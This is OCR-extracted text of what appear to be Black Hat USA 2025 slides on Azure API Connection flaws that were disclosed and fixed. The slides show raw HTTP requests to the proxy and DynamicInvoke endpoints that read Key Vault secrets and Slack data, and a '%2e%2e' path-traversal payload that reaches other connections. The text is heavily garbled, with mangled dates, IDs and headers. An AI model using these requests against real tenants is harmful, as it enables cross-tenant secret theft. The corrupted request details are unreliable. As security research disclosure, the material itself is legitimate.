/subscriptions/B8e3ceS52f-d45h-4347-8705-65892507465e/resourceGroups
/tmp-api-connection/providers/Microsoft.Web/connections/keyvault-5
/extensions/proxy/secrets/MySecretValue/value?&api-version=
2018-07-0l-preview&projectkey=TP HTTP/Z

2 Host: management.azure.com
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Keyvaults
28 Date: Tue, 07 Jan 20235 14:42:46 GMT

"value":"MysecretV
"name'" : "MySecretValue”,
"version”:"48eehBcdcceede’SasSe4Zcec/Y9ceele”,
"contentType":null,

"isEnabled":true,
"createdTime":"2025-01-07T14:24:522",
"lastUpdatedTime":"2025-01-07T14:24:522",
"validitystartTime":null,
"validityEndTime":null
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“Azure Key Vault safeguards encryption
keys and secrets like certificates,
connection strings, and passwords.”

https://learn.microsoft.com/en-us/azure/key-vault/general/best-practices
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Microsoft Response
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What did they fix?

Request
Pretty Raw  Hex  JSON Web Token & \n =
GET

/subscriptions/8e3ceS52f-d45b-4347-8705-65892507465e/resourceGroups/token-storer/providers/ M

icrosoft.Ueb/connections/keyvault/extensions/proxy/secrets/Papi—version=3018—07—0l—preview

HTTP/Z

Host: management.azure.com

3 X-Ms-Client-Session-Id: 087f477033aad40f7ad36£f89df34abh9lc

4 Authorization: Bearer
eyd0eXA1O1JEVIQILCIhbGeci101J5UzIIN1IsIngldCIEeIKNOd)IBPSTNSA3IFsSSEZFVMShbO1lBeZ hDSDJYRSIsImtpZCI
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What did they fix?

"Terror”: {
"code":"OperationlNotAllowed"”,
"message':
"The API Connection proxy recquests are not supported. Only Test Connections
llowed through proxy recuests.”
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What did they fix? E

21| Scope

rerror?
"code":"OperationlotidAllo th e
"message':
"The API Connection prox access tOken -onnections
llowed through proxy recys

}

}

Whitelist
paths
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Microsoft Copilot Studio, Microsoft Power Platform, and AzurT
Logic Apps connectors documentation @

By: Ford6s Andras

> Connectors overview
Abstract VAT Validator

Lots of others e

Connectors in preview FAQ 4

By: Ford6s Andra
Outbound IP addresses dmlosrtad by

Known issues
Provide feedback

~ Connector reference A
Acumatica
List of all connectors »> >

> List of filters By: Acumatica

jexghts gen. Document & more

10to8 Appointment Scheduling @

1DocStop

1Me Corporate Adobe Creative Cloud

R

1pt {Independent Publisher) O
y: Adobe Inc

24 pull request (Independent Publisher)
365 Training ﬁ
3E Events

9A Raptor Document Warehouse

Advanced Scraper

Abbreviations (Independent Publisher)

» >
Abortion Policy (Independent Publisher) By: Troy Taylor, Hitachi
Solutions

absentify

Abstract Company Enrichment (Independent Publisher)

Abstract Email Validator {Independent Publisher)

Abstract Exchange Rates (Independent Publisher)

s Talking Voice

Abstract Holidays {Independent Publisher) ‘ , »

Abstract IBAN Validator (Independent Publisher) By: Africa’s Talking

Abstract IP Geolocation (Independent Publisher)
Abstract Phone Validator (Independent Publisher) a
Abstract Timezones (Independent Publisher) i,
Abstract VAT Validator {Independent Publisher) L
AccuWeather {Independent Publisher) » D

Act! By: ahead AG

Activitylnfo

Acumatica ;ﬁ

i\ Download PDF

AIHW MyHospitals

(HiucpenucnL ruonsncer )
» D
By: Fordds Andréds

&

AccuWeather (Independent
Publisher)
» D
By: Ahmad Najjar, Troy Taylor

4

Address Labs (Independent
Publisher)

» D
By: Richard Wilson

er)

Adobe Experience Manager
» D
By: Adobe

8

Affirmations (Independent
Publisher)
» D

By: Troy Taylor

By: Taiki Yoshida

Ahead (Intranet)
» D
By: ahead AG

AN

AikiDocs

{mnuepenuenty Fuons
» D
By: Fordés Andrés

Act!

» D
By: Swiftpage ACT!

JE

Adobe Acrobat Sign
3
By: Adobe Inc.

G

Adobe PDF Services
» D>
By: Adobe Inc.

Africa’s Talking Airtime
» D
By: Africa’s Talking

(o)

AgilePoint NX
» D
By: AgilePoint Inc

4

Al or Not (Independent

Publisher)
»>
By: Fordés Andrés

Ref: https://learn.microsoft.com/en-us/connectors/connector-reference/

(INUEPENUENL FUDIISHI

» D
By: System Administrator

G
Activitylnfo

By: Activityinfo

I

Adobe Acrobat Sign Sandbox

> >
By: Adobe Inc.

Advanced Data Operations
D
By: State Solutions

Africa’s Talking SMS
» >
By: Africa’s Talking

Agilite
P
By: Agilit-e

By: Larc Al (PTY) Ltd
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Sensitive Testonnectios (?)

Al Foundations

®

Automation PagerDuty
@ Operations
Cloud

EM

T
FedRAMP



https://pagerduty.com
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Sensitive Testconnections (?)

Al Foundations

®

https://mail.google.com
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Sensitive Testconnections (?)

2 21

https://calendar.google.com

Al Foundations

®
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Could we do more?

All connections are hosted in the same place



O

blackhat % >
BRIEFINGS L — 4

Do you remember Slide 97?
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'
"testLinks":
"requestUri™: "I / /m gem zure.com:443/subscriptions/

/providers/Microsoft.Web/co

metTnoa

"requestUri™: "https://management.azu
d45b-4347 70 892 J4¢ /resourceGroups/Logic-app-tests/pr« { / /slack/

dynamicInvol ) rsio 018-07-01-preview”,

.
connectionRuntimeUrl™: "https://d84b7: cf5960.16.common. logic-norwayeast.azure-apihub.net/

15d48ec4lelc3”
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Dynamic Invoke

"testRequests™: |
{
"body™: {
“request”: {
"method™: "get”,
"path™: "conversations.list”

)

J>

“requesturi”: “"https://management.azure.com:443/subscriptions/8e3ce52f-
d45b-4347-8705-65892507465e/resourceGroups/Logic-app-
tests/providers/Microsoft.Web/connections/slack/dynamicInvoke?api-version=2018-07-01-

preview ,
"method™: "POST”

15
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Dynamic Invoke

"testRequests™: |
{
"body™: {
“request”: {
"method™: "get”,
"path™: "conversations.list”

L

“requesturi”: “"https://management.azure.com:443/subscriptions/8e3ce52f-
d45b-4347-8705-65892507465e/resourceGroups/Logic-app-
tests/providers/Microsoft.Web/connections/slack/dynamicInvoke?api-version=2018-07-01-
preview",

“method™: "POST"
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Dynamic Invoke

"testRequests™: |
{
"body™: {
“request”: {
"method™: "get”,
"path™: "conversations.list”

)

J>

“requesturi”: “"https://management.azure.com:443/subscriptions/8e3ce52f-
d45b-4347-8705-65892507465e/resourceGroups/Logic-app-
tests/providers/Microsoft.Web/connections/slack/dynamicInvoke?api-version=2018-07-01-

preview ,
"method™: "POST”

15
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Dynamic Invoke

"testRequests™: |
{
"body™: {
“request”: {
"method™: "get”,
"path™: "conversations.list”

“requestUri™: "https://management.azure.com:443/subscriptions/8e3ce52f-
d45b-4347-8705-65892507465e/resourceGroups/Logic-app-
tests/providers/Microsoft.Web/connections/slack/dynamicInvoke?api-version=2018-07-01-

preview",
"method™: "POST"

F
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°0ST /subscriptions/162fc6db-03cd-4fe8-ab44-dcva947e74at/resourceGroups/api-
connection/providers/Microsoft.Web/connections/slack/DynamicInvoke?api-version=2018-07-
@1-preview HTTP/2

Host: management.azure.com

Authorization: Bearer <Token>

“request”:{
"method™: "get”,
"path™:"/conversations.list”,
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°0ST /subscriptions/162f
connection/providers/Mic
@1-preview HTTP/2

Host: management.azure.c
Authorization: Bearer <T

“request”:{

"method”: "get"”,
“path™:"/convers

~

i

HTTP/2 200 OK
Content-Type: application/json

Content-Length: 18329

"ak": true,
"channels™: |
q

"id": "COBBSBRBSD39",
"name": "social",
"is channel”: true,
"is group": false,
"is im": false,
"is mpim": false,
"is private": false,

"created"™: 1738674777,

"is archived": false,
"is general": false,
"unlinked": 0,

in

"name normalized": "social",
"is shared": false,

"is org shared": false,

"is pending ext shared": false,

"pending shared™: [],

"updated”: 1738674779593,

"parent conversation": null,

"context team id": "TO8BPBECE890",

~esourceGroups/api-
nicInvoke?api-version=2018-07-
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POST /subscriptions/162fc6db-03cd-4fe8-ab44-dc@a947e74af/resourceGroups/api- ‘
connection/providers/Microsoft.Web/connections/keyvault/DynamicInvoke?api-version=2018-
07-01-preview HTTP/2

Host: management.azure.com

“request”:{
"method™: "get”,
"path™:" /secrets”,
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POST /sut Content-Length: 1315
Gala Content-Type: application/json; charset=utf-8

connecti 0on=2018-

07-01-pr {

Host: ma “response”: {
“statusCode™: "0K",
"body”: {

"value™: |

{ {

"name”: "SuperSecret”,

Lol "version”: null,
“contentType”: null,
"i1sEnabled”: true,
} "createdTime”: "2025-04-04T705:38:267",
"lastUpdatedTime™: "2025-04-04T05:38:267",
} "validityStartTime": null,

"validityEndTime":

I,

"continuationToken™: 1
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Path Parameters!
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N
Call endpoint “/path”, Method:
l “‘POST", Body: “<Data>"
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RN
Call endpoint “/path”, Method:
l ‘POST", Body: “<Data>"

(7] Azure Resource Manager <« Authentication

Role Check: ¢
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RN
%\Call endpoint “/path”, Method:

“‘POST”, Body: “<Data>"
Path and

method «—» [‘] Azure Resource Manager <«—> Authentication
valid?
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RN
%\Call endpoint “/path”, Method:

“‘POST”, Body: “<Data>"
Path and

method «—» [‘] Azure Resource Manager <«—> Authentication
valid?
Validated: ¢
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RN
l Call endpoint “/path”, Method:

“‘POST”, Body: “<Data>"
Path and

method <« [’J Azure Resource Manager <«—> Authentication
valid?

Path.Join(Host, ConnectionId, InputEndpoint)
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RN
Call endpoint “/path”, Method:

l “‘POST”, Body: “<Data>"
Path and

method <« [‘] Azure Resource Manager <« Authentication
valid?

Path.Join(Host, ConnectionlId, InputEndpoint)

Azure API
Management

connector swagger li

and policies
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RN
Call endpoint “/path”, Method:

l “‘POST”, Body: “<Data>"
Path and

method <« [‘] Azure Resource Manager <« Authentication
valid?

Path.Join(Host, ConnectionlId, InputEndpoint)

Azure API
Management

>
connector swagger i
and policies
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Logic Apps Custom Connector »

Microsoft

Logic Apps Custom Connector < add o ravorites

Microsoft | Azure Service

X 3.4 (52 ratings)

Plan

Logic Apps Custom Connector / | m
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d Edlt Logic Apps Custom Connector

1. General

myconnector
my nice connector that does a lost of things that we want it to do andnand
£ '1.6'
st: ejlvnbcrgfiadmep2tgsxv3u2l8cwipre.bcollaborator.binsec.cloud
F /

https
i [é
[]

/CustomAPis: {}
/hei/fa:

default

thing that comes back
myresponse
boolean
call some api
I 1
important
&5 1: aasdsadsavfvfe
. et []
Jadmin/vfs/c:/: {}
/path/{paths}:

default
)
|
path thing

w
0N O

J Wow

paths

string
path

» b o
W N = @D

default

MyCustomizer

2. Security

efinition

Q Swagger editor ~~ Update con

myconnector ©

Base URL: lvnbcrgfdadmep2tgsxviu2l8cw3pre.

my nice connector that does a lost of things that

Schemes

HTTPS v

default

/hei/a call some api
/path/{paths} paththing
/hei do something on localhost

/heisann check this out
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paths:
/path/{path}:
get:
operationld: "1"
parameters:
- name: path

in: path
required: true
type: string
responses:
1200 " .
description: OK
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DST /subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/token-
storer/providers/Microsoft.Web/connections/custom2/DynamicInvoke?api-version=2018-07-

@1-preview HTTP/2
Host: management.azure.com
Authorization: Bearer <Token>

"request™: {
"method” :
"path™:

"path/%2e%2e/%2ek2e/k2ek2e/%2ek2e/apim/<ConnectorID>/<ConnectionID>/<Endpoint>”

1
J

" "

get ,
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DST /subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/token-
storer/providers/Microsoft.Web/connections/custom2/DynamicInvoke?api-version=2018-07-

@1-preview HTTP/2
Host: management.azure.com
Authorization: Bearer <Token>

"request™: {
"method” :
"path”:

"path/%2e%2e/%2ek2e/k2ek2e/%2ek2e/apim/<ConnectorID>/<ConnectionID>/<Endpoint>”

1
J

" "

get ,

Path Traversal
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DST /subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/token-
storer/providers/Microsoft.Web/connections/custom2/DynamicInvoke?api-version=2018-07-

@1-preview HTTP/2
Host: management.azure.com
Authorization: Bearer <Token>

"request™: {
"method” :
"path™:

"path/%2e%2e/%2e%2e/k2ek2e/%2ek2e/apim/<ConnectorID>/<ConnectionID>/<Endpoint>”

1
J

" "

get ,
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Demo
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/

Microsoft Azure

Keyvault

au
Search

Overview

Activity log

wips://portal.azure.com/#@

api-connection

Access control (IAM)

Tags

Diagnose and solve problems

Access policies

Resource visualizer

Events
Objects
Keys
Secrets
g Certificates
Settings
Monitoring
Automation

Help

victomkeyvault -

tomkeyvault =

® ViC

j Delete

/\ Essentials

Resource group (move)

Location

Subscription (move)

Subscription ID

Tags (edit)

Get started

iegmastermano

Microsoft Az

" .

> Move v

X

C,,?' Refresh

: api-connection

: Norway East

utlook.onmicrosoft.com/resource

o Open in mobile

: Azure subscription 1

: 162fc6db-03cd-4fe8-ab44-dc0a947e74af

» Add tags

Properties

Monitoring

Tools + SDKs Tutorials

App Diagnostics Info

) A

6db-03cd-4fe8-ab44-dc0a947e74af,

Vault URI

+
L

Sku (Pricing

L

Directory ID

Soft-delete

Directory Name
: En

urge protection

resourceGroups/api-connec...

L Search resources, services, and docs (G+/) T Copilot

. https://victomkeyvault.vault.azure.net/
: Standard
: 27f83964-8425-4197-8278-6e1833413ea3

. Default Directory

bled

)

: Disabled

Manage keys and secrets used by apps and services

Our recommendation is to use a vault per application per environment (Development, Pre-Production
and Production). This helps you to not share secrets across environments and also reduces the threat in

Control access to key vault

Assign access policy and
determine whether a given service
principal, namely an application or
user group, can perform different
operations on key vault keys,
secrets or certificates.

case of a breach.

—

Enable logging and set up
alerts

Enable logging to monitor how,
when and by whom your key
vaults are accessed. Monitor
performance and configure alerts
for key vault metrics e.g,, service
API latency, error code, throttling.

f I |
Turn on recovery options

For protection against accidental
or malicious deletion, soft-delete
is enabled. Turn on purge
protection to guard against
manual purging of deleted key
vaults and items. Learn more .

0 ® 8 0

O

PAS £ Incognito

thegmasterman@outlo...
DEFAULT DIRECTORY (THEGMAS._.

Name: Haakon Gul

Email: thegmasterman@outlock.com

Directory: Default Directory (2783964
Domain: thegmastermanoutlook.onm
Your sign in used multifactor authentu

SO 1o
JSON View


https://docs.google.com/file/d/1rI7gub2yADBwfcT9w-S71G4aDhBqaBxI/preview

O

black hat
BRIEFINGS

Microsoft Response
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What did they fix?
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What did they fix?

‘request™: {
"method”: "get”,

"path”™: "path/%2e%2e/"
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What did they fix?

{

=

“error: {
"code™: "InvalidApiConnectionDynamicInvokeRequest”,
"message”: "The dynamic invocation request for api connection is invalid. Thi
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What did they fix?

“error: {
“code™: "InvalidApiConnectis
"message”: "The dynamic 1nvi

Scope
the
access token

Blacklist
paths

- e —

. 1nvalid. Th



O

black hat
BRIEFINGS

Takeaways
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Hacking Azure is not black magic
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The Fix is Silent
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AUGUST 6-7, 2025

MANDALAY BAY / LAS VEGAS

Any Questions?

#BHUSA @BlackHatEvents



